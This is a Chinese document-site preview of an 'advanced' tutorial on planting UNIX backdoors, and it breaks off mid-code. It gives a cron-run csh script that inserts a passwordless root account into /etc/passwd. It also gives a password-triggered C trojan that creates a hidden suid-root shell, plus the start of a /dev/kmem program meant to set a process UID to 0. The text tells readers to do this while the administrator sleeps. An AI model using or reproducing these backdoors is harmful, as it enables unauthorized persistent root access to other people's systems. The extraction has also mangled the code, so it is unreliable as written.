欢迎来到天天文库
浏览记录
ID:32918318
大小:54.63 KB
页数:7页
时间:2019-02-17
《教你如何创建UNIX后门(高级篇)》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、教你如何创建UNIX后门(高级篇)Crontab程序对于系统管理员来说是非常有用的。Cron服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造"后门"!通过Cron服务,你可以让它在每天凌晨2:00(这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的crontab文件放在/var/spool/crontab/root中,其格式如下: (1)(2)(3)(4)(5)(6) 00**3/usr/bin/u
2、pdatedb 1.分钟(0-60) 2.小时(0-23) 3.日(1-31) 4.月(1-12) 5.星期(1-7) 6.所要运行的程序 以上内容设置该程序于每星期三0:0运行。要在cron建立后门,只需在/var/spool/crontab/root中添加后门程序即可。例如该程序可以在每天检查我们在/etc/passwd文件中增加了用户帐号是否仍然有效。以下是程序示例: 00***/usr/bin/retract <++>backdoor/backdoor.sh #!/bin/csh s
3、etevilflag=(`grepeviluser/etc/passwd`) if($#evilflag==0)then setlinecount=`wc-l/etc/passwd` cd cp/etc/passwd./temppass @linecount[1]/=2 @linecount[1]+=1 split-$linecount[1]./temppass echo"Meb::0:0:Meb:/root:/bin/sh"》./xaa cat./xab》./xaa mv./xaa/etc/
4、passwd chmod644/etc/passwd rm./xa*./temppass echoDone… else endif <-->当然,我们可以编写木马程序,并把它放到/bin目录下。当以特定命令行参数运行时将产生一个suidshell.以下是程序示例: <++>backdoor/backdoor3.c #include #definepass"triad" #defineBUFFERSIZE6 intmain(argc,argv) intargc; char*argv[];{
5、 inti=0; if(argv[1]){ if(!(strcmp(pass,argv[1]))){ system("cp/bin/csh/bin/.swp121"); system("chmod4755/bin/.swp121"); system("chownroot/bin/.swp121"); system("chmod4755/bin/.swp121"); } } printf("372f:Invalidcontrolargument,unabletoinitialize.Retryi
6、ng"); for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("nActionabortedafter10attempts.n"); return(0); } <-->以下程序通过在内存中寻找你所运行程序的UID,并将其改为0,这样你就有了一个suidrootshell了。 <++>backdoor/kmemthief.c #include #include #include #include #include #incl
7、ude #include #definepass"triad" structuseruserpage; longaddress(),userlocation; intmain(argc,argv,envp) intargc; char*argv[],*envp[];{ intcount,fd; longwhere,lseek(); if(argv[1]){ if(!(strcmp(pass,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0
8、){ printf("Cannotreadorwriteto /dev/kmemn"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannotseektouserp
此文档下载收益归作者所有